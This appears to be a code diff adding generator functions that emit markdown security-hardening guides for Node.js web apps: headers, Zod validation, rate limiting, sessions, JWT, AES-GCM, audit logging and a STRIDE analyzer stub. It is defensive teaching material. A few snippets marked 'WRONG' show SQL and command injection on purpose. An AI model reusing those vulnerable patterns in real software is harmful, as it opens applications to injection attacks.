contentSecurityPolicy: {
|
|
1584
|
+
directives: {
|
|
1585
|
+
defaultSrc: ["'self'"],
|
|
1586
|
+
scriptSrc: ["'self'", "'strict-dynamic'"],
|
|
1587
|
+
styleSrc: ["'self'", "'unsafe-inline'"],
|
|
1588
|
+
imgSrc: ["'self'", "data:", "https:"],
|
|
1589
|
+
fontSrc: ["'self'"],
|
|
1590
|
+
objectSrc: ["'none'"],
|
|
1591
|
+
baseUri: ["'self'"],
|
|
1592
|
+
formAction: ["'self'"],
|
|
1593
|
+
frameAncestors: ["'none'"],
|
|
1594
|
+
upgradeInsecureRequests: [],
|
|
1595
|
+
},
|
|
1596
|
+
},
|
|
1597
|
+
crossOriginEmbedderPolicy: true,
|
|
1598
|
+
crossOriginOpenerPolicy: { policy: 'same-origin' },
|
|
1599
|
+
crossOriginResourcePolicy: { policy: 'same-origin' },
|
|
1600
|
+
dnsPrefetchControl: { allow: false },
|
|
1601
|
+
frameguard: { action: 'deny' },
|
|
1602
|
+
hsts: { maxAge: 31536000, includeSubDomains: true, preload: true },
|
|
1603
|
+
ieNoOpen: true,
|
|
1604
|
+
noSniff: true,
|
|
1605
|
+
originAgentCluster: true,
|
|
1606
|
+
permittedCrossDomainPolicies: { permittedPolicies: 'none' },
|
|
1607
|
+
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
|
|
1608
|
+
xssFilter: true,
|
|
1609
|
+
}))
|
|
1610
|
+
\`\`\`
|
|
1611
|
+
|
|
1612
|
+
### Fastify
|
|
1613
|
+
|
|
1614
|
+
\`\`\`typescript
|
|
1615
|
+
import fastifyHelmet from '@fastify/helmet'
|
|
1616
|
+
|
|
1617
|
+
await app.register(fastifyHelmet, {
|
|
1618
|
+
contentSecurityPolicy: {
|
|
1619
|
+
directives: {
|
|
1620
|
+
defaultSrc: ["'self'"],
|
|
1621
|
+
scriptSrc: ["'self'"],
|
|
1622
|
+
styleSrc: ["'self'", "'unsafe-inline'"],
|
|
1623
|
+
imgSrc: ["'self'", "data:"],
|
|
1624
|
+
},
|
|
1625
|
+
},
|
|
1626
|
+
hsts: { maxAge: 31536000, includeSubDomains: true },
|
|
1627
|
+
})
|
|
1628
|
+
\`\`\`
|
|
1629
|
+
|
|
1630
|
+
### Next.js (next.config.js headers)
|
|
1631
|
+
|
|
1632
|
+
\`\`\`javascript
|
|
1633
|
+
const securityHeaders = [
|
|
1634
|
+
{ key: 'X-DNS-Prefetch-Control', value: 'off' },
|
|
1635
|
+
{ key: 'Strict-Transport-Security', value: 'max-age=31536000; includeSubDomains; preload' },
|
|
1636
|
+
{ key: 'X-Frame-Options', value: 'DENY' },
|
|
1637
|
+
{ key: 'X-Content-Type-Options', value: 'nosniff' },
|
|
1638
|
+
{ key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
|
|
1639
|
+
{ key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
|
|
1640
|
+
{ key: 'X-XSS-Protection', value: '0' }, // Disabled in favor of CSP
|
|
1641
|
+
]
|
|
1642
|
+
|
|
1643
|
+
module.exports = {
|
|
1644
|
+
async headers() {
|
|
1645
|
+
return [{ source: '/:path*', headers: securityHeaders }]
|
|
1646
|
+
},
|
|
1647
|
+
}
|
|
1648
|
+
\`\`\`
|
|
1649
|
+
|
|
1650
|
+
### Nginx
|
|
1651
|
+
|
|
1652
|
+
\`\`\`nginx
|
|
1653
|
+
add_header X-Frame-Options "DENY" always;
|
|
1654
|
+
add_header X-Content-Type-Options "nosniff" always;
|
|
1655
|
+
add_header X-XSS-Protection "0" always;
|
|
1656
|
+
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
|
|
1657
|
+
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
|
|
1658
|
+
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'" always;
|
|
1659
|
+
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
|
|
1660
|
+
\`\`\`
|
|
1661
|
+
`;
|
|
1662
|
+
}
|
|
1663
|
+
function generateInputValidation() {
|
|
1664
|
+
return `
|
|
1665
|
+
## Input Validation Patterns
|
|
1666
|
+
|
|
1667
|
+
### Zod Schema Validation (TypeScript)
|
|
1668
|
+
|
|
1669
|
+
\`\`\`typescript
|
|
1670
|
+
import { z } from 'zod'
|
|
1671
|
+
|
|
1672
|
+
// Request validation schemas
|
|
1673
|
+
const createUserSchema = z.object({
|
|
1674
|
+
email: z.string().email().max(255),
|
|
1675
|
+
password: z.string().min(12).max(128)
|
|
1676
|
+
.regex(/[A-Z]/, 'Must contain uppercase letter')
|
|
1677
|
+
.regex(/[a-z]/, 'Must contain lowercase letter')
|
|
1678
|
+
.regex(/[0-9]/, 'Must contain number')
|
|
1679
|
+
.regex(/[^A-Za-z0-9]/, 'Must contain special character'),
|
|
1680
|
+
name: z.string().min(1).max(100).trim(),
|
|
1681
|
+
})
|
|
1682
|
+
|
|
1683
|
+
const paginationSchema = z.object({
|
|
1684
|
+
page: z.coerce.number().int().min(1).max(1000).default(1),
|
|
1685
|
+
limit: z.coerce.number().int().min(1).max(100).default(20),
|
|
1686
|
+
sort: z.enum(['created_at', 'updated_at', 'name']).default('created_at'),
|
|
1687
|
+
order: z.enum(['asc', 'desc']).default('desc'),
|
|
1688
|
+
})
|
|
1689
|
+
|
|
1690
|
+
// Express middleware
|
|
1691
|
+
function validate<T extends z.ZodType>(schema: T) {
|
|
1692
|
+
return (req: Request, res: Response, next: NextFunction) => {
|
|
1693
|
+
const result = schema.safeParse(req.body)
|
|
1694
|
+
if (!result.success) {
|
|
1695
|
+
return res.status(400).json({
|
|
1696
|
+
error: 'Validation failed',
|
|
1697
|
+
details: result.error.issues.map(i => ({
|
|
1698
|
+
field: i.path.join('.'),
|
|
1699
|
+
message: i.message,
|
|
1700
|
+
})),
|
|
1701
|
+
})
|
|
1702
|
+
}
|
|
1703
|
+
req.body = result.data
|
|
1704
|
+
next()
|
|
1705
|
+
}
|
|
1706
|
+
}
|
|
1707
|
+
|
|
1708
|
+
app.post('/api/users', validate(createUserSchema), createUserHandler)
|
|
1709
|
+
\`\`\`
|
|
1710
|
+
|
|
1711
|
+
### Parameterized SQL Queries
|
|
1712
|
+
|
|
1713
|
+
\`\`\`typescript
|
|
1714
|
+
// WRONG — SQL injection
|
|
1715
|
+
const result = await db.query(\`SELECT * FROM users WHERE id = \${userId}\`)
|
|
1716
|
+
|
|
1717
|
+
// CORRECT — parameterized
|
|
1718
|
+
const result = await db.query('SELECT * FROM users WHERE id = $1', [userId])
|
|
1719
|
+
|
|
1720
|
+
// CORRECT — using Prisma (automatically parameterized)
|
|
1721
|
+
const user = await prisma.user.findUnique({ where: { id: userId } })
|
|
1722
|
+
|
|
1723
|
+
// CORRECT — using Drizzle
|
|
1724
|
+
const user = await db.select().from(users).where(eq(users.id, userId))
|
|
1725
|
+
|
|
1726
|
+
// CORRECT — using Knex
|
|
1727
|
+
const user = await knex('users').where('id', userId).first()
|
|
1728
|
+
\`\`\`
|
|
1729
|
+
|
|
1730
|
+
### Path Traversal Prevention
|
|
1731
|
+
|
|
1732
|
+
\`\`\`typescript
|
|
1733
|
+
import { resolve, relative } from 'path'
|
|
1734
|
+
|
|
1735
|
+
function safePath(baseDir: string, userPath: string): string {
|
|
1736
|
+
const resolved = resolve(baseDir, userPath)
|
|
1737
|
+
const rel = relative(baseDir, resolved)
|
|
1738
|
+
|
|
1739
|
+
// Ensure resolved path is within base directory
|
|
1740
|
+
if (rel.startsWith('..') || resolve(resolved) !== resolved) {
|
|
1741
|
+
throw new Error('Path traversal attempt detected')
|
|
1742
|
+
}
|
|
1743
|
+
|
|
1744
|
+
return resolved
|
|
1745
|
+
}
|
|
1746
|
+
|
|
1747
|
+
// Usage
|
|
1748
|
+
const filePath = safePath('/uploads', req.params.filename)
|
|
1749
|
+
const content = readFileSync(filePath)
|
|
1750
|
+
\`\`\`
|
|
1751
|
+
|
|
1752
|
+
### XSS Prevention
|
|
1753
|
+
|
|
1754
|
+
\`\`\`typescript
|
|
1755
|
+
import DOMPurify from 'dompurify'
|
|
1756
|
+
|
|
1757
|
+
// Sanitize HTML input
|
|
1758
|
+
function sanitizeHtml(dirty: string): string {
|
|
1759
|
+
return DOMPurify.sanitize(dirty, {
|
|
1760
|
+
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
|
|
1761
|
+
ALLOWED_ATTR: ['href', 'title'],
|
|
1762
|
+
ALLOW_DATA_ATTR: false,
|
|
1763
|
+
})
|
|
1764
|
+
}
|
|
1765
|
+
|
|
1766
|
+
// React: avoid dangerouslySetInnerHTML
|
|
1767
|
+
// If you must use it:
|
|
1768
|
+
<div dangerouslySetInnerHTML={{ __html: sanitizeHtml(userContent) }} />
|
|
1769
|
+
|
|
1770
|
+
// Better: use a markdown renderer with sanitization
|
|
1771
|
+
import ReactMarkdown from 'react-markdown'
|
|
1772
|
+
<ReactMarkdown>{userContent}</ReactMarkdown>
|
|
1773
|
+
\`\`\`
|
|
1774
|
+
|
|
1775
|
+
### Command Injection Prevention
|
|
1776
|
+
|
|
1777
|
+
\`\`\`typescript
|
|
1778
|
+
import { execFile } from 'child_process'
|
|
1779
|
+
|
|
1780
|
+
// WRONG — command injection via exec
|
|
1781
|
+
exec(\`convert \${userFilename} output.png\`)
|
|
1782
|
+
|
|
1783
|
+
// CORRECT — execFile (no shell interpretation)
|
|
1784
|
+
execFile('convert', [userFilename, 'output.png'], (error, stdout) => {
|
|
1785
|
+
// safe: arguments are passed as array, not through shell
|
|
1786
|
+
})
|
|
1787
|
+
|
|
1788
|
+
// CORRECT — validate arguments
|
|
1789
|
+
const ALLOWED_FORMATS = ['png', 'jpg', 'gif', 'webp']
|
|
1790
|
+
if (!ALLOWED_FORMATS.includes(format)) {
|
|
1791
|
+
throw new Error('Invalid format')
|
|
1792
|
+
}
|
|
1793
|
+
\`\`\`
|
|
1794
|
+
|
|
1795
|
+
### SSRF Prevention
|
|
1796
|
+
|
|
1797
|
+
\`\`\`typescript
|
|
1798
|
+
import { URL } from 'url'
|
|
1799
|
+
import { isIPv4 } from 'net'
|
|
1800
|
+
|
|
1801
|
+
function isPrivateIP(hostname: string): boolean {
|
|
1802
|
+
// Block private/internal IP ranges
|
|
1803
|
+
const privateRanges = [
|
|
1804
|
+
/^10\\./, /^172\\.(1[6-9]|2\\d|3[01])\\./, /^192\\.168\\./,
|
|
1805
|
+
/^127\\./, /^169\\.254\\./, /^0\\./, /^::1$/, /^fc00:/,
|
|
1806
|
+
/^fe80:/, /^localhost$/i,
|
|
1807
|
+
]
|
|
1808
|
+
return privateRanges.some(r => r.test(hostname))
|
|
1809
|
+
}
|
|
1810
|
+
|
|
1811
|
+
function validateUrl(input: string): URL {
|
|
1812
|
+
const url = new URL(input)
|
|
1813
|
+
if (!['http:', 'https:'].includes(url.protocol)) {
|
|
1814
|
+
throw new Error('Only HTTP(S) protocols allowed')
|
|
1815
|
+
}
|
|
1816
|
+
if (isPrivateIP(url.hostname)) {
|
|
1817
|
+
throw new Error('Internal URLs are not allowed')
|
|
1818
|
+
}
|
|
1819
|
+
return url
|
|
1820
|
+
}
|
|
1821
|
+
\`\`\`
|
|
1822
|
+
`;
|
|
1823
|
+
}
|
|
1824
|
+
function generateAuthHardening() {
|
|
1825
|
+
return `
|
|
1826
|
+
## Authentication Hardening
|
|
1827
|
+
|
|
1828
|
+
### Rate Limiting (Express)
|
|
1829
|
+
|
|
1830
|
+
\`\`\`typescript
|
|
1831
|
+
import rateLimit from 'express-rate-limit'
|
|
1832
|
+
import RedisStore from 'rate-limit-redis'
|
|
1833
|
+
|
|
1834
|
+
// Global rate limiter
|
|
1835
|
+
const globalLimiter = rateLimit({
|
|
1836
|
+
windowMs: 15 * 60 * 1000, // 15 minutes
|
|
1837
|
+
max: 100,
|
|
1838
|
+
standardHeaders: true,
|
|
1839
|
+
legacyHeaders: false,
|
|
1840
|
+
message: { error: 'Too many requests, please try again later' },
|
|
1841
|
+
})
|
|
1842
|
+
|
|
1843
|
+
// Strict limiter for auth endpoints
|
|
1844
|
+
const authLimiter = rateLimit({
|
|
1845
|
+
windowMs: 15 * 60 * 1000,
|
|
1846
|
+
max: 5, // 5 attempts per 15 min
|
|
1847
|
+
standardHeaders: true,
|
|
1848
|
+
skipSuccessfulRequests: true,
|
|
1849
|
+
message: { error: 'Too many login attempts, please try again in 15 minutes' },
|
|
1850
|
+
// Use Redis for distributed rate limiting
|
|
1851
|
+
store: new RedisStore({ sendCommand: (...args) => redisClient.sendCommand(args) }),
|
|
1852
|
+
})
|
|
1853
|
+
|
|
1854
|
+
app.use('/api/', globalLimiter)
|
|
1855
|
+
app.post('/api/auth/login', authLimiter, loginHandler)
|
|
1856
|
+
app.post('/api/auth/register', authLimiter, registerHandler)
|
|
1857
|
+
app.post('/api/auth/reset-password', authLimiter, resetHandler)
|
|
1858
|
+
\`\`\`
|
|
1859
|
+
|
|
1860
|
+
### CSRF Protection
|
|
1861
|
+
|
|
1862
|
+
\`\`\`typescript
|
|
1863
|
+
import csrf from 'csurf'
|
|
1864
|
+
|
|
1865
|
+
// Cookie-based CSRF (for traditional apps)
|
|
1866
|
+
app.use(csrf({ cookie: { httpOnly: true, secure: true, sameSite: 'strict' } }))
|
|
1867
|
+
|
|
1868
|
+
// For SPAs: Double-submit cookie pattern
|
|
1869
|
+
function csrfMiddleware(req: Request, res: Response, next: NextFunction) {
|
|
1870
|
+
const csrfCookie = req.cookies['csrf-token']
|
|
1871
|
+
const csrfHeader = req.headers['x-csrf-token']
|
|
1872
|
+
|
|
1873
|
+
if (req.method !== 'GET' && csrfCookie !== csrfHeader) {
|
|
1874
|
+
return res.status(403).json({ error: 'CSRF validation failed' })
|
|
1875
|
+
}
|
|
1876
|
+
next()
|
|
1877
|
+
}
|
|
1878
|
+
\`\`\`
|
|
1879
|
+
|
|
1880
|
+
### Secure Session Configuration
|
|
1881
|
+
|
|
1882
|
+
\`\`\`typescript
|
|
1883
|
+
import session from 'express-session'
|
|
1884
|
+
import RedisStore from 'connect-redis'
|
|
1885
|
+
|
|
1886
|
+
app.use(session({
|
|
1887
|
+
store: new RedisStore({ client: redisClient }),
|
|
1888
|
+
name: '__session', // Don't use default 'connect.sid'
|
|
1889
|
+
secret: process.env.SESSION_SECRET!,
|
|
1890
|
+
resave: false,
|
|
1891
|
+
saveUninitialized: false,
|
|
1892
|
+
rolling: true,
|
|
1893
|
+
cookie: {
|
|
1894
|
+
httpOnly: true,
|
|
1895
|
+
secure: process.env.NODE_ENV === 'production',
|
|
1896
|
+
sameSite: 'strict',
|
|
1897
|
+
maxAge: 24 * 60 * 60 * 1000, // 24 hours
|
|
1898
|
+
domain: process.env.COOKIE_DOMAIN,
|
|
1899
|
+
path: '/',
|
|
1900
|
+
},
|
|
1901
|
+
}))
|
|
1902
|
+
|
|
1903
|
+
// Regenerate session after login (prevent fixation)
|
|
1904
|
+
app.post('/api/auth/login', async (req, res) => {
|
|
1905
|
+
const user = await authenticateUser(req.body)
|
|
1906
|
+
if (!user) return res.status(401).json({ error: 'Invalid credentials' })
|
|
1907
|
+
|
|
1908
|
+
req.session.regenerate((err) => {
|
|
1909
|
+
if (err) return res.status(500).json({ error: 'Session error' })
|
|
1910
|
+
req.session.userId = user.id
|
|
1911
|
+
req.session.save(() => {
|
|
1912
|
+
res.json({ success: true })
|
|
1913
|
+
})
|
|
1914
|
+
})
|
|
1915
|
+
})
|
|
1916
|
+
\`\`\`
|
|
1917
|
+
|
|
1918
|
+
### Password Hashing (Argon2)
|
|
1919
|
+
|
|
1920
|
+
\`\`\`typescript
|
|
1921
|
+
import argon2 from 'argon2'
|
|
1922
|
+
|
|
1923
|
+
async function hashPassword(password: string): Promise<string> {
|
|
1924
|
+
return argon2.hash(password, {
|
|
1925
|
+
type: argon2.argon2id, // Recommended variant
|
|
1926
|
+
memoryCost: 65536, // 64 MB
|
|
1927
|
+
timeCost: 3, // 3 iterations
|
|
1928
|
+
parallelism: 4, // 4 threads
|
|
1929
|
+
})
|
|
1930
|
+
}
|
|
1931
|
+
|
|
1932
|
+
async function verifyPassword(hash: string, password: string): Promise<boolean> {
|
|
1933
|
+
return argon2.verify(hash, password)
|
|
1934
|
+
}
|
|
1935
|
+
|
|
1936
|
+
// Alternative: bcrypt
|
|
1937
|
+
import bcrypt from 'bcrypt'
|
|
1938
|
+
const SALT_ROUNDS = 12
|
|
1939
|
+
|
|
1940
|
+
async function hashPasswordBcrypt(password: string): Promise<string> {
|
|
1941
|
+
return bcrypt.hash(password, SALT_ROUNDS)
|
|
1942
|
+
}
|
|
1943
|
+
\`\`\`
|
|
1944
|
+
|
|
1945
|
+
### JWT Best Practices
|
|
1946
|
+
|
|
1947
|
+
\`\`\`typescript
|
|
1948
|
+
import jwt from 'jsonwebtoken'
|
|
1949
|
+
|
|
1950
|
+
const JWT_SECRET = process.env.JWT_SECRET! // 64+ bytes random
|
|
1951
|
+
const JWT_REFRESH_SECRET = process.env.JWT_REFRESH_SECRET!
|
|
1952
|
+
|
|
1953
|
+
function generateTokens(userId: string) {
|
|
1954
|
+
const accessToken = jwt.sign({ sub: userId, type: 'access' }, JWT_SECRET, {
|
|
1955
|
+
expiresIn: '15m',
|
|
1956
|
+
algorithm: 'HS256',
|
|
1957
|
+
issuer: 'your-app',
|
|
1958
|
+
audience: 'your-app',
|
|
1959
|
+
})
|
|
1960
|
+
|
|
1961
|
+
const refreshToken = jwt.sign({ sub: userId, type: 'refresh' }, JWT_REFRESH_SECRET, {
|
|
1962
|
+
expiresIn: '7d',
|
|
1963
|
+
algorithm: 'HS256',
|
|
1964
|
+
jwtid: crypto.randomUUID(), // Unique ID for revocation
|
|
1965
|
+
})
|
|
1966
|
+
|
|
1967
|
+
return { accessToken, refreshToken }
|
|
1968
|
+
}
|
|
1969
|
+
|
|
1970
|
+
function verifyToken(token: string): jwt.JwtPayload {
|
|
1971
|
+
return jwt.verify(token, JWT_SECRET, {
|
|
1972
|
+
algorithms: ['HS256'], // Prevent algorithm confusion
|
|
1973
|
+
issuer: 'your-app',
|
|
1974
|
+
audience: 'your-app',
|
|
1975
|
+
}) as jwt.JwtPayload
|
|
1976
|
+
}
|
|
1977
|
+
\`\`\`
|
|
1978
|
+
`;
|
|
1979
|
+
}
|
|
1980
|
+
function generateCryptoBestPractices() {
|
|
1981
|
+
return `
|
|
1982
|
+
## Cryptography Best Practices
|
|
1983
|
+
|
|
1984
|
+
### Symmetric Encryption (AES-256-GCM)
|
|
1985
|
+
|
|
1986
|
+
\`\`\`typescript
|
|
1987
|
+
import { createCipheriv, createDecipheriv, randomBytes } from 'crypto'
|
|
1988
|
+
|
|
1989
|
+
const ALGORITHM = 'aes-256-gcm'
|
|
1990
|
+
const KEY = Buffer.from(process.env.ENCRYPTION_KEY!, 'hex') // 32 bytes
|
|
1991
|
+
|
|
1992
|
+
function encrypt(plaintext: string): { ciphertext: string; iv: string; tag: string } {
|
|
1993
|
+
const iv = randomBytes(16) // Always random IV
|
|
1994
|
+
const cipher = createCipheriv(ALGORITHM, KEY, iv)
|
|
1995
|
+
|
|
1996
|
+
let ciphertext = cipher.update(plaintext, 'utf8', 'hex')
|
|
1997
|
+
ciphertext += cipher.final('hex')
|
|
1998
|
+
|
|
1999
|
+
const tag = cipher.getAuthTag().toString('hex')
|
|
2000
|
+
|
|
2001
|
+
return {
|
|
2002
|
+
ciphertext,
|
|
2003
|
+
iv: iv.toString('hex'),
|
|
2004
|
+
tag,
|
|
2005
|
+
}
|
|
2006
|
+
}
|
|
2007
|
+
|
|
2008
|
+
function decrypt(ciphertext: string, iv: string, tag: string): string {
|
|
2009
|
+
const decipher = createDecipheriv(ALGORITHM, KEY, Buffer.from(iv, 'hex'))
|
|
2010
|
+
decipher.setAuthTag(Buffer.from(tag, 'hex'))
|
|
2011
|
+
|
|
2012
|
+
let plaintext = decipher.update(ciphertext, 'hex', 'utf8')
|
|
2013
|
+
plaintext += decipher.final('utf8')
|
|
2014
|
+
|
|
2015
|
+
return plaintext
|
|
2016
|
+
}
|
|
2017
|
+
\`\`\`
|
|
2018
|
+
|
|
2019
|
+
### Key Derivation (PBKDF2 / scrypt)
|
|
2020
|
+
|
|
2021
|
+
\`\`\`typescript
|
|
2022
|
+
import { scrypt, randomBytes } from 'crypto'
|
|
2023
|
+
import { promisify } from 'util'
|
|
2024
|
+
|
|
2025
|
+
const scryptAsync = promisify(scrypt)
|
|
2026
|
+
|
|
2027
|
+
async function deriveKey(password: string, salt?: Buffer): Promise<{ key: Buffer; salt: Buffer }> {
|
|
2028
|
+
const useSalt = salt || randomBytes(32)
|
|
2029
|
+
const key = await scryptAsync(password, useSalt, 32) as Buffer
|
|
2030
|
+
return { key, salt: useSalt }
|
|
2031
|
+
}
|
|
2032
|
+
\`\`\`
|
|
2033
|
+
|
|
2034
|
+
### Secure Random Generation
|
|
2035
|
+
|
|
2036
|
+
\`\`\`typescript
|
|
2037
|
+
import { randomBytes, randomUUID } from 'crypto'
|
|
2038
|
+
|
|
2039
|
+
// Secure token generation
|
|
2040
|
+
function generateToken(length = 32): string {
|
|
2041
|
+
return randomBytes(length).toString('hex')
|
|
2042
|
+
}
|
|
2043
|
+
|
|
2044
|
+
// Secure session ID
|
|
2045
|
+
function generateSessionId(): string {
|
|
2046
|
+
return randomUUID()
|
|
2047
|
+
}
|
|
2048
|
+
|
|
2049
|
+
// WRONG — never use for security
|
|
2050
|
+
// Math.random().toString(36) // predictable!
|
|
2051
|
+
\`\`\`
|
|
2052
|
+
|
|
2053
|
+
### Hash Comparison (Timing-Safe)
|
|
2054
|
+
|
|
2055
|
+
\`\`\`typescript
|
|
2056
|
+
import { timingSafeEqual, createHmac } from 'crypto'
|
|
2057
|
+
|
|
2058
|
+
function verifySignature(payload: string, signature: string, secret: string): boolean {
|
|
2059
|
+
const expected = createHmac('sha256', secret).update(payload).digest()
|
|
2060
|
+
const received = Buffer.from(signature, 'hex')
|
|
2061
|
+
|
|
2062
|
+
if (expected.length !== received.length) return false
|
|
2063
|
+
return timingSafeEqual(expected, received)
|
|
2064
|
+
}
|
|
2065
|
+
\`\`\`
|
|
2066
|
+
`;
|
|
2067
|
+
}
|
|
2068
|
+
function generateLoggingPatterns() {
|
|
2069
|
+
return `
|
|
2070
|
+
## Security Logging & Monitoring
|
|
2071
|
+
|
|
2072
|
+
### Structured Security Event Logging
|
|
2073
|
+
|
|
2074
|
+
\`\`\`typescript
|
|
2075
|
+
import { createLogger, format, transports } from 'winston'
|
|
2076
|
+
|
|
2077
|
+
const securityLogger = createLogger({
|
|
2078
|
+
level: 'info',
|
|
2079
|
+
format: format.combine(
|
|
2080
|
+
format.timestamp(),
|
|
2081
|
+
format.json(),
|
|
2082
|
+
),
|
|
2083
|
+
defaultMeta: { service: 'security' },
|
|
2084
|
+
transports: [
|
|
2085
|
+
new transports.File({ filename: 'logs/security.log' }),
|
|
2086
|
+
new transports.File({ filename: 'logs/security-errors.log', level: 'error' }),
|
|
2087
|
+
],
|
|
2088
|
+
})
|
|
2089
|
+
|
|
2090
|
+
// Security event types
|
|
2091
|
+
type SecurityEvent =
|
|
2092
|
+
| 'auth.login.success'
|
|
2093
|
+
| 'auth.login.failure'
|
|
2094
|
+
| 'auth.logout'
|
|
2095
|
+
| 'auth.password.change'
|
|
2096
|
+
| 'auth.password.reset'
|
|
2097
|
+
| 'auth.mfa.enable'
|
|
2098
|
+
| 'auth.mfa.verify.failure'
|
|
2099
|
+
| 'auth.session.expired'
|
|
2100
|
+
| 'auth.token.revoked'
|
|
2101
|
+
| 'access.denied'
|
|
2102
|
+
| 'access.privilege.escalation'
|
|
2103
|
+
| 'input.validation.failure'
|
|
2104
|
+
| 'rate.limit.exceeded'
|
|
2105
|
+
| 'csrf.validation.failure'
|
|
2106
|
+
| 'suspicious.activity'
|
|
2107
|
+
|
|
2108
|
+
interface SecurityLogEntry {
|
|
2109
|
+
event: SecurityEvent
|
|
2110
|
+
userId?: string
|
|
2111
|
+
ip: string
|
|
2112
|
+
userAgent: string
|
|
2113
|
+
resource?: string
|
|
2114
|
+
details?: Record<string, unknown>
|
|
2115
|
+
}
|
|
2116
|
+
|
|
2117
|
+
function logSecurityEvent(entry: SecurityLogEntry): void {
|
|
2118
|
+
securityLogger.info('security_event', {
|
|
2119
|
+
...entry,
|
|
2120
|
+
timestamp: new Date().toISOString(),
|
|
2121
|
+
})
|
|
2122
|
+
}
|
|
2123
|
+
|
|
2124
|
+
// Usage examples
|
|
2125
|
+
logSecurityEvent({
|
|
2126
|
+
event: 'auth.login.failure',
|
|
2127
|
+
ip: req.ip,
|
|
2128
|
+
userAgent: req.headers['user-agent'] || 'unknown',
|
|
2129
|
+
details: { email: req.body.email, reason: 'invalid_password' },
|
|
2130
|
+
})
|
|
2131
|
+
|
|
2132
|
+
logSecurityEvent({
|
|
2133
|
+
event: 'rate.limit.exceeded',
|
|
2134
|
+
ip: req.ip,
|
|
2135
|
+
userAgent: req.headers['user-agent'] || 'unknown',
|
|
2136
|
+
resource: req.path,
|
|
2137
|
+
details: { limit: 5, window: '15m' },
|
|
2138
|
+
})
|
|
2139
|
+
\`\`\`
|
|
2140
|
+
|
|
2141
|
+
### Audit Trail Middleware
|
|
2142
|
+
|
|
2143
|
+
\`\`\`typescript
|
|
2144
|
+
function auditTrail(req: Request, res: Response, next: NextFunction) {
|
|
2145
|
+
const startTime = Date.now()
|
|
2146
|
+
|
|
2147
|
+
res.on('finish', () => {
|
|
2148
|
+
const duration = Date.now() - startTime
|
|
2149
|
+
const entry = {
|
|
2150
|
+
method: req.method,
|
|
2151
|
+
path: req.path,
|
|
2152
|
+
statusCode: res.statusCode,
|
|
2153
|
+
duration,
|
|
2154
|
+
ip: req.ip,
|
|
2155
|
+
userId: (req as any).user?.id,
|
|
2156
|
+
userAgent: req.headers['user-agent'],
|
|
2157
|
+
}
|
|
2158
|
+
|
|
2159
|
+
// Log all non-GET requests and all auth failures
|
|
2160
|
+
if (req.method !== 'GET' || res.statusCode === 401 || res.statusCode === 403) {
|
|
2161
|
+
securityLogger.info('audit', entry)
|
|
2162
|
+
}
|
|
2163
|
+
})
|
|
2164
|
+
|
|
2165
|
+
next()
|
|
2166
|
+
}
|
|
2167
|
+
|
|
2168
|
+
app.use(auditTrail)
|
|
2169
|
+
\`\`\`
|
|
2170
|
+
|
|
2171
|
+
### Anomaly Detection Hooks
|
|
2172
|
+
|
|
2173
|
+
\`\`\`typescript
|
|
2174
|
+
// Track failed login attempts per IP
|
|
2175
|
+
const failedAttempts = new Map<string, { count: number; firstAt: number }>()
|
|
2176
|
+
|
|
2177
|
+
function detectBruteForce(ip: string): boolean {
|
|
2178
|
+
const now = Date.now()
|
|
2179
|
+
const window = 15 * 60 * 1000 // 15 minutes
|
|
2180
|
+
const threshold = 10
|
|
2181
|
+
|
|
2182
|
+
const record = failedAttempts.get(ip)
|
|
2183
|
+
if (!record || now - record.firstAt > window) {
|
|
2184
|
+
failedAttempts.set(ip, { count: 1, firstAt: now })
|
|
2185
|
+
return false
|
|
2186
|
+
}
|
|
2187
|
+
|
|
2188
|
+
record.count++
|
|
2189
|
+
if (record.count >= threshold) {
|
|
2190
|
+
logSecurityEvent({
|
|
2191
|
+
event: 'suspicious.activity',
|
|
2192
|
+
ip,
|
|
2193
|
+
userAgent: 'system',
|
|
2194
|
+
details: {
|
|
2195
|
+
type: 'brute_force',
|
|
2196
|
+
attempts: record.count,
|
|
2197
|
+
window: '15m',
|
|
2198
|
+
action: 'ip_blocked',
|
|
2199
|
+
},
|
|
2200
|
+
})
|
|
2201
|
+
return true
|
|
2202
|
+
}
|
|
2203
|
+
return false
|
|
2204
|
+
}
|
|
2205
|
+
|
|
2206
|
+
// Track impossible travel (same user, different geolocations)
|
|
2207
|
+
function detectImpossibleTravel(userId: string, currentIp: string, lastIp: string, lastLoginAt: Date): boolean {
|
|
2208
|
+
// Implementation would use a GeoIP database
|
|
2209
|
+
// Flag if user logs in from two distant locations within a short time
|
|
2210
|
+
return false // placeholder
|
|
2211
|
+
}
|
|
2212
|
+
\`\`\`
|
|
2213
|
+
`;
|
|
2214
|
+
}
|
|
2215
|
+
function analyzeSTRIDE(files, baseDir) {
|
|
2216
|
+
const threats = [];
|
|
2217
|
+
// Analyze file structure for data flows and trust boundaries
|
|
2218
|
+
const hasAuth = files.some(f => /(?:auth|login|session|jwt|passport|oauth)/i.test(f.path));
|
|
2219
|
+
const hasApi = files.some(f => /(?:api|route|endpoint|controller|handler)/i.test(f.path));
|
|
2220
|
+
const hasDb = files.some(f => /(?:database|db|model|schema|migration|prisma|drizzle|sequelize|knex)/i.test(f.path));
|
|
2221
|
+
const hasFileUpload = files.some(f => /(?:upload|multer|formidable|busboy)/i.test(f.content));
|
|
2222
|
+
const hasPayments = files.some(f => /(?:stripe|payment|billing|invoice|checkout)/i.test(f.content));
|
|
2223
|
+
const hasWebSocket = files.some(f => /(?:websocket|socket\.io|ws\.|wss:)/i.test(f.content));
|
|
2224
|
+
const hasEmail = files.some(f => /(?:nodemailer|sendgrid|ses|smtp|email)/i.test(f.content));
|
|
2225
|
+
const hasCrypto = files.some(f => /(?:encrypt|decrypt|cipher|hash|sign|verify)/i.test(f.content));
|
|
2226
|
+
const hasExternalApi = files.some(f => /(?:fetch|axios|got|request|http\.get)/i.test(f.content));
|
|
2227
|
+
const hasAdmin = files.some(f => /(?:admin|dashboard|manage|panel|backoffice)/i.test(f.path));
|
|
2228
|
+
const hasDocker = files.some(f => f.path.toLowerCase().includes('docker'));
|
|
2229
|
+
